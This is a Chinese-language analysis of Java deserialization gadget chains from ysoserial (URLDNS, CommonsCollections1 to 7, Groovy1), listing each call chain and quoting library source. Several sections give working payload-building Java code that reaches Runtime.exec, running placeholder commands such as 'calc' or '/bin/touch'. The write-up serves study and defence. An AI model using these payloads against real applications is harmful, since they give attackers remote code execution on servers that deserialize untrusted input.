Java 反序列化链分析(URLDNS, CommonsCollections1-7, Groovy1)
Java 反序列化链分析
URLDNS
利用的是java内置类
Gadget Chain:
* HashMap.readObject()
* HashMap.putVal()
* HashMap.hash()
* URL.hashCode()
可以看到是HashMap的重写的readObject出发,
在readObject函数中,它分别反序列化了键和值,然后再putVal

而对于键值的hash函数中,调用了key的hashCode

对于URL对象,它的hashCode方法为

handler是URLStreamHandler的对象,进入它的hashCode方法,就可以看到对前面的key进行了getHostAddress操作,从而出现了dns记录

CommonsCollections1
首先是gadget链
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
collections3 的gadget
在CommonsCollections中有一个可以代码执行的调用链,从LazyMap.get开始
当这个map在get一个key时,key不存在就会进入factory.transform(key)

factory是实现了Transformer接口得类

其中 ChainedTransformer, ConstantTransformer, InvokerTransformer对我们有用
org.apache.commons.collections.functors.ChainedTransformer, 可以看到ChainedTransformer的transform方法就是将this.iTransformers中所有的对象执行一遍transform,并且前面的返回值作为后面的输入。
public ChainedTransformer(Transformer[] transformers) {
this.iTransformers = transformers;
}
public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}
return object;
}
org.apache.commons.collections.functors.ConstantTransformer
public ConstantTransformer(Object constantToReturn) {
this.iConstant = constantToReturn;
}
public Object transform(Object input) {
return this.iConstant;
}
ConstantTransformer 的作用是不管输入, 直接返回一个常量.
最后是org.apache.commons.collections.functors.InvokerTransformer, 这里有反射操作
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var6) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException var7) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
}
}
}
所以我们现在看下payload,我们将factory设置为ChainedTransformer对象,其中它的iTransformers熟悉分别为下面的内容
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(java.lang.Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
new InvokerTransformer("exec", new Class[]{String[].class}, new Object[]{new String[]{"/bin/touch", "/tmp/xxxx"}}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
第一个transfer是用来直接返回java.lang.Runtime.class对象,第二个利用java.lang.Runtime.class对象,先取得class对象执行getMethod获得getMethod方法,最后调用该方法获得java.lang.Runtime的getRuntime方法,第三个同理先取得method对象执行getMethod获得invoke方法,最后调用该方法执行了getRuntime方法获得runtime实例。第四个先取得Rumtime类对象执行getMethod获取Runtime的exec方法,然后对该对象调用该方法实现rce。
这时调用 chainedTransformer.transform
, 等价于 java.lang.Runtime.getRuntime().exec(new String[]{"/bin/touch", "/tmp/xxxx"})
,
将 chainedTransformer 作为 Lazymap
的 factory
, 再 get 一个不存在的 key, 就能达到 RCE 的目的.
AnnotationInvocationHandler中的gadget
所以我们需要在反序列化时能控制一个可控Lazymap进行get一个不存在的key
这里看 sun.reflect.annotation.AnnotationInvocationHandler
这个类的 invoke
方法,
其进行了get操作

this.memberValues也是可控的
在其readObject方法中, 执行了this.memberValues.entrySet()
, 由于是动态代理,所以执行到了invoke方法中。


有个小问题,java8中cc1并不能执行,https://www.kingkk.com/2020/02/ysoserial-payload%E5%88%86%E6%9E%90/。
CommonsCollections2
先看gadget链
Gadget chain:
ObjectInputStream.readObject()
PriorityQueue.readObject()
...
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
可以看到是从PriorityQueue出发到的InvokerTransformer.transform(),然后进行的任意对象的方法调用。
collections4 的 gadget
先看PriorityQueue的readObject,整体流程如下

CommonsCollections3
是CommonsCollection1和CommonsCollection2的结合
collection3中的gadget
还是collection3中的LazyMap到那个执行transform的gadget,此时我们不利用InvokerTransformer ,而是利用InstantiateTransformer,前者是调用任意对象的任意函数,后者是实例化任意类(构造器仅有一个参数)

内置类TrAXFilter中的gadget
而在内置类com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter构造时会调用newTransformer方法,这就利用cc2中的链

所以剩下的就和cc1和cc2一样,整体链:



CommonsCollections4
和cc2类似,从PriorityQueue的readObject到TemplatesImpl的newTransformer,区别是将 InvokerTransformer 替换为 InstantiateTransformer
CommonsCollections5
gadget, collections3
Gadget chain:
ObjectInputStream.readObject()
BadAttributeValueExpException.readObject()
TiedMapEntry.toString()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
这条链是在cc1的基础上的,换了一个到LazyMap.get的方法。

CommonsCollections6
gadget, collections3
Gadget chain:
java.io.ObjectInputStream.readObject()
java.util.HashSet.readObject()
java.util.HashMap.put()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()
可以看到,和cc5的区别是如何调用到TiedMapEntry的getValue

payload:
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(java.lang.Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
String lm = "org.apache.commons.collections.map.LazyMap";
Constructor c1 = Class.forName(lm).getDeclaredConstructor(Map.class, Transformer.class);
c1.setAccessible(true);
Map lmo = (Map) c1.newInstance(new HashMap<String, String>(), chainedTransformer);
TiedMapEntry te = new TiedMapEntry(lmo, 1);
HashSet s = new HashSet();
s.add(te);
return s;
CommonsCollections7
gadget, collections3
java.util.Hashtable.readObject
java.util.Hashtable.reconstitutionPut
org.apache.commons.collections.map.AbstractMapDecorator.equals
java.util.AbstractMap.equals
org.apache.commons.collections.map.LazyMap.get
org.apache.commons.collections.functors.ChainedTransformer.transform
org.apache.commons.collections.functors.InvokerTransformer.transform
java.lang.reflect.Method.invoke
sun.reflect.DelegatingMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke0
java.lang.Runtime.exec
看调用链后面还是走的LazyMap.get链。触发点利用的是HashTable/HashMap在readObject反序列化时需要重建哈希表,对key进行哈希摘要。当哈希值相同时调用key对象的equals判断其是否是同一个key,如果相同就替换值内容,key不同就用链表链接这两个键值对从而解决哈希冲突问题。
而我们就是在这里调用的LazyMap.equals后续调用了LazyMap.get。
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(java.lang.Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});
HashMap innerMap1 = new HashMap<String, String>();
HashMap innerMap2 = new HashMap<String, String>();
LazyMap lazyMap1 = (LazyMap) LazyMap.decorate(innerMap1, chainedTransformer);
lazyMap1.put("yy", "1");
LazyMap lazyMap2 = (LazyMap) LazyMap.decorate(innerMap2, chainedTransformer);
lazyMap2.put("zZ", "1");
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, "test");
hashtable.put(lazyMap2, "test");
innerMap2.remove("yy");
Field field = chainedTransformer.getClass().getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(chainedTransformer, transformers);
LazyMap的哈希值的构建方法是对它map属性的hash,将所有键值对hash加在一起,具体方法如下。

已知innerMap1和innerMap2的hash值相同, 所以在执行hashtable.put(lazyMap2, "test");
时就已经哈希冲突,所以会将yy加入LazyMap.map中,所以payload中需要remove掉。

Groovy1
groovy<=2.4.3
Gadget chain:
ObjectInputStream.readObject()
PriorityQueue.readObject()
Comparator.compare() (Proxy)
ConvertedClosure.invoke()
MethodClosure.call()
...
Method.invoke()
Runtime.exec()
先看payload:
ConvertedClosure closureInvo = new ConvertedClosure(new MethodClosure("calc", "execute"), "enterSet");
Map m = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class<?>[]{Map.class}, closureInvo);
String ann = "sun.reflect.annotation.AnnotationInvocationHandler";
Class annObject = Class.forName(ann);
Constructor constructor = annObject.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler in = (InvocationHandler) constructor.newInstance(Deprecated.class, m);
byte[] b = serialize(in);
deserialize(b);
payload不是很复杂,可以看到触发类是AnnotationInvocationHandler类,下面详细的介绍了链的走向。

在((Closure)this.getDelegate()).call(args)
之后可以参考这篇文章, 最后执行到了ProcessGroovyMethods的execute方法。
其中invokeCustom中限制了this.methodName.equals(method.getName())
, 所以ConvertedClosure的第二个参数必须等于触发动态代理时调用的方法名,也就是entrySet。